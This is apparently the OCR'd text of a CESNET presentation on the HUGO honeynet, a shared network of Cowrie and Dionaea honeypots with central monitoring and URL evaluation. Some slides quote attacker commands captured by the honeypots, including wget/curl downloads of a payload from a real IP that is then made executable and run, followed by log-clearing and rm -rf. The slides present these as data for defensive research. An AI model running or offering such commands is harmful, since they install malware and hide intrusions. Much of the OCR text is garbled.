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®  Strong focus on network monitoring & security
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B Honeypots at CESNET
®  HUGO Honeynet project
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HUGO Honeynet

B HUGO Honeynet
®  Goal: build a network of honeypots in organizations of different types / sectors

= What do we need:
1) Prepackaged honeypot + configuration (use common open-source honeypots)

2) Integrated data sharing + central monitoring
® Sharing via Warden — an existing community operated by CESNET

3) To find people (orgs) willing to deploy a honeypot in their network

L} Deployment and operation must be as easy as possible 8
+ legal aspects of data sharing

— creation of a ,community agreement with dyployment of a honeypot into network™
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HUGO Honeypot
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HUGO Honeypo:t: technical solution
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HUGO Honeypot = technical solution
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Deployment from a user’s pom‘tuf view

Dehian GMU/Linux 12 hugo tty?

hugo login: root
Fassword:
Linu= hugo 6.1.6-35-amd6d #1 SMF PREEMPT_DYMAMIC Debian 6.1.137-1 (2625-65-687) =86_64d

The programs included with the Debian GHUALinux system are free software;
the exact distribution terms for each program are described in the
individual files in susr/sharesdocs+ copyright.

Debian GHU/Linue comes with ABSOLUTELY MO WARRAMTY, to the extent
permitted by applicable law.
Welcome to the Hugo honeypot project!

Honeypot status

honeupot tupe: hugo-cowrie

honeypot wersion: we.94-beta3-dropout
registration status: not configured
certificate status: not generated

If the honeypot has not been set up yet, you may do so now by executing 'setup' command.

root@hugo: ™#
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:]lcome to the initial honeypot : . SUre er functionality,
that it will aluws ‘et the same “wel address, which is
15
t your DHCP server, re is the MAC address:
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HOMEYPOT MNAME
with the organ tion domain in
reve DNS FADN and
append the hon : .
The name can only contain lowercase tters, digits, underscores
and
The

<Cant inue: < Cancel »




Informace o honeypotu:
Z cz.cesnet.daleko.za.humny. hugo_cowrie
hugo-couwrie
vi, 94 -hetal-dropout
verejne DNS jmeno:..37-
Pavel Testovacl < i@cesnet .cz>

B2:54:80:04:158:2h
verejna IP adresa:..37.
lok&alnl IFP adresa:..1@.8.2.15

Ziistend nastavenl IPw6: Protokol IPwE nenl dostupny

Odeslanim registracniho formulare berete na wvedoml informace o
zpracovanl osobnilch Odajd, které jsou k dispozici
na https:/swww.cesnet.cz/zpracovani-osobnich-udajus

<Ulozit a registrovats < Opravit hodnoty




HOMEYFOT SETUP
Hnnwupn+ registration was already sent, or the honeypot is already

onse of +hH HﬂldHH server administrator,

it was just configured and
Pﬂ%hlbd

Registration status: new




Our view

éﬂ Hugo % monitor £ Requests

Hugo Monitor

Node Honeypot Honeypot Interface IP Address
Name Type Version  (4/6) (4/6)
cz.cesnet.hugo.haas_cowrie hugo- v0.9- eth0 192.168.60.10
cowrie alpha-
pocd
cz.cesnet.hugo.haas_dionaea hugo- v0.9- eth0 192.168.60.11
dionaea  alpha-
pocd
cz hugo_dicnaea hugo- v0.92 eth0 147.32.
dionaea eth0 2001:7
[ hugo_cowrie  hugo- v0.94- eth0 147
cowrie beta3- etho 20017
dropout
z hugo_cowrie0l hugo- v0.9- ethd 195
cowrie alpha- eth0 2001:67c:
pocd-
small-
vmware
z hugo_dionaeadl  hugo- w0.9- ethd 195,
dionaea  alpha- ethd 2001:67¢
pocd-
small-
vmware
cowrie hugo- v0.9- ethd 192.168.
“——mEE " " mm—m— """

Public IP
4/6)

195.113

195.113

147

2001:718

147.

2001:71

195.¢

195.

147.

default ¥

@ open serve

o~ - { default > Hu.. + @ Pastipays ~ @ off v ¢ & < & & o B <«

Home
@ W
MAC Address  Host -°%°
(4/6) Narr Default
1h
08:00:27: huge R # Events in time (per protocol) ® now C ~
hp.ci 150.00
TDIE 120.00
races -
£ 90.00
2 6000 ]
Lo S oo e = [~ - -
RUM .
P 0.00 T ; ; y T T
08:00:27: hugc of 26 04:00 08:00 12:00 16:00 20:00
hp.ct it Timestamp
ipelines
" ftp mysg| ssh [ ms-sql-s
8o
C] . .
Dashboa i Events in time (per category) @ now G~
150.00
:0c ||
be:0ch6 EE 150,00
be:0cbs Streams -
£ 90.00
3 =
. Bt S 6000 R —L ] . =
N Bnslnnls 1
A 0.00 ; : L ; : 3 '
daich:39 Alerts 26 04:00 08:00 12:00 16:00 20:00
43:06:39 Timestamp
Y Recon.Scanning Intrusion.User.. ([l Attempt.Login ([l Intrusion.User... Malware
Data
sources i Events per honeypot (Cowrie) @now C - i Events per honeypot (Dionaea) @ now G~
v
<7 >
00:50:56 HE
00:50:56
40.18%
1875%
00:50:56 227
00:50:56
@ czowutsinda.. skupjs.csirt.. ([l czzcu /3 p cz.cesnethugo... [l czkr vysocina... cz EN 2
08:00:27 wara, 1ous



cesnet " . Colleli@didata

B What data we get
#1/bin/sh

m  JP addresses of attackers PATH=

LRV EIn e M e elgs| Wwget http://43.249.172.195:888/112

curl -0 http://43.249.172.195:888/112
= Commands enetered chmod +x 112

./112
wget http://43.249.172.195:888/112s

curl -0 http://43.249.172.195:888/112s
chmod +x 112s
./112s
rm -rf 112.sh
rm -rf 112
grep -c processor /plrm -rf 112s

history -c




cesnet " . Colleli@didata

B What data we get

IP addresses of attackers [t

PATH=. ..

Usernames and passwordialeye

curl -0
Commands enetered chmod +x 112

./112

URLs hosting malware wget

Malware samples curl -0

chmod +x 112s
./112s 1
rm -rf 112.sh

rm -rf 112 URL Evaluator
grep -C Aprocessor /p rm -rf 112s (a separate project)

history -c

uname -a




Collected data

curl /dev/null X .example.
curl /dev/null X .example.
curl /dev/null X .example.
curl /dev/null X .example.
curl /dev/null X .example.

curl /dev/null X .example.

curl /dev/null X .example.

curl /dev/null X .example.

curl /dev/null X .example.

curl /dev/null X .example.

curl /dev/null

curl YA DIRE  Honeypot misused for a DDoS attack

TP R} — /mitoutgoing connections (in FW)



https://www.example.com/

Collected data

curl http://test-debit.free.fr/10485760.rnd --output /dev/null

Infinite stream of random data!

DoS against a honeypot
— limit size of downloaded content
- auto-restart




How"we use the data ...

> URL Evaluator —»
URLhaus

by ABUSE |"‘

0 25 (el
s
Honeypot @ @ > NE\'_:“] — > -
(IP reputation DE)

https://nerd.cesnet.cz/
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Honeynet status

B Community — current state

DGplOYEd (always both Corwie & Dionaea)

= CESNET

® 5 universities in CZ + 1 in SK

= 1 public body (regional government network)
= 1 commercial ICT provider

Promised, in process ...
= 3 hospitals
® 2 universities

+ discussing with several others

More deployments in GEANT ...
= 2 NRENSs online
m 7 others interested to join

HUGO honeynet (V. BartoS, CESNET)




Collaboration

Deploy a HUGO honeypot Collaborate on data analysis
in your network

If you have experience with

, : I .
It's really simple! O malware analysis
or some other relevant topic,
You only need: we can share the data.

* a virtualization platform
* a public IP address Just contact us.
* 10 minutes of your time




cesnet

Questions?

More info: e
https://hugo.cesnet.cz/en/
bartos@cesnet.cz | sec-op@cesnet.cz

Supported as part of financial support to third parties (FSTP) within.the project National
Coordination Center in the Czech Republic (NCC-CZ, project no. 101127941) co-financed
by the Digital Europe program.

ol

Co-funded by
the European Union

NCC-CZ




URL Evaluator overview

' CZNIC HaaS

ssh honeyp:‘:\ R LR e :
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URL "Emvaluator algorithm

Suspml

~1 URL per day
Search URL in URLhaus }—» malicious on average
Y
; 2] VIRUSTOTAL Manual analysis
. | e and classification a
harmless = Search URL in VirusTotal l—b malicious by a SOC analyst %
- /] ¥ _ / \
AT # Download URL content
P L= ownio | —» unreachable harmless malicious
= g — | and compute SHA1 hash o
D .
i 3] VIRUSTOTAL
harmless «— Search hash in VirusTotal }—» malicious
unclassified
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